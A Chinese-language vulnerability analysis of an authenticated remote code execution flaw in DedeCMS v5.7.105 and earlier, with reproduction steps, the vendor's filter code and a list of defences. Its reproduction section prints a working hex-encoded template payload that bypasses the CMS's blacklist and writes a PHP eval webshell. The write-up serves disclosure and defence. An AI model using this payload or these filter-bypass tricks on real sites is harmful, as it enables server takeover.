DedeCMS v5.7 -- 后台RCE漏洞详解
字数 1258 2025-08-24 16:48:16
DedeCMS v5.7 后台RCE漏洞分析与利用指南
漏洞概述
DedeCMS v5.7.105及以下版本存在一个后台远程代码执行(RCE)漏洞,攻击者可以通过精心构造的模板文件和页面创建操作,绕过系统的安全过滤机制,在服务器上写入恶意PHP文件,从而实现任意代码执行。
影响版本
- DedeCMS v5.7.105及以下所有版本
环境搭建
- 下载DedeCMS v5.7.105或更低版本的源码(可从官网或GitHub获取)
- 使用phpstudy等工具搭建PHP运行环境
- 安装DedeCMS系统
漏洞复现步骤
第一步:创建恶意模板
- 登录后台后,进入"模板" -> "默认模板管理"
- 点击"新建模板"
- 在模板内容框中输入以下经过编码的PHP代码:
<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
- 保存模板(例如保存为
test.htm)
第二步:创建恶意页面
- 进入"核心" -> "频道模型" -> "单页文档管理"
- 点击"增加一个页面"
- 关键配置项:
- 文件名的后缀必须设置为
.php(例如1.php) - 模板文件名选择之前创建的
test.htm - "是否编译模板"选项选择"是"或"否"均可
- 文件名的后缀必须设置为
第三步:触发漏洞
- 访问创建的PHP页面,例如:
http://localhost/DedeCMS-V5.7.105-UTF8/uploads/a/1.php - 这将在
a目录下生成一个shell.php文件,内容为:<?php eval($_GET[a]);
第四步:验证漏洞
访问生成的shell文件并执行任意PHP代码:
http://localhost/DedeCMS-V5.7.105-UTF8/uploads/a/shell.php?a=phpinfo();
漏洞成因分析
1. 模板过滤机制不完善
在uploads/dede/tpl.php文件中,系统对模板内容进行了多重过滤:
// 删除所有注释
$content = preg_replace("/\/\*[\s\S]*(\*\/)/#i", '', $content);
// 禁用函数黑名单
$cfg_disable_funs = 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs .= ',$_GET,$_POST,$_REQUEST,$_FILES,$_COOKIE,$_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filter';
// 检查PHP代码标识
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
die("DedeCMS提示:当前页面中存在恶意代码!");
}
// 检查函数调用
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
die("DedeCMS提示:当前页面中存在恶意代码!");
}
// 检查反引号命令执行
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
die("DedeCMS提示:当前页面中存在恶意代码!");
}
然而,这些过滤可以通过以下方式绕过:
- 使用十六进制编码函数名(如
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"代替file_put_contents) - 分割敏感字符串(如
"eva" . "l"代替eval) - 避免直接使用黑名单中的变量名
2. 文件名验证不足
在模板编辑功能中,系统强制要求模板文件必须以.htm结尾:
if(!preg_match("#\.htm$#", $filename)) {
ShowMsg('DEDE模板文件,文件名必须用.htm结尾!', '-1');
exit();
}
但在创建页面时,系统没有对生成的文件名进行严格验证,允许用户创建.php文件,这为漏洞利用提供了条件。
3. 模板解析流程
漏洞利用的关键流程:
- 创建包含恶意代码的模板文件(
.htm) - 创建新页面时指定
.php后缀 - 系统将模板内容写入到
.php文件中 - 访问该
.php文件时执行恶意代码
防御措施
- 升级到最新版本:DedeCMS官方已发布修复版本,建议立即升级
- 加强输入过滤:
- 对所有用户输入进行严格验证
- 扩展黑名单过滤规则
- 禁止十六进制编码的函数调用
- 文件权限控制:
- 限制上传目录的执行权限
- 对生成的文件进行内容检查
- 代码审计:
- 定期进行安全审计
- 关注官方安全公告
总结
该漏洞利用DedeCMS在模板处理和文件创建过程中的多个安全缺陷,通过精心构造的输入绕过过滤机制,最终实现远程代码执行。这提醒我们在Web应用开发中需要实施多层次的安全防护,包括输入验证、输出过滤、权限控制和持续的安全更新。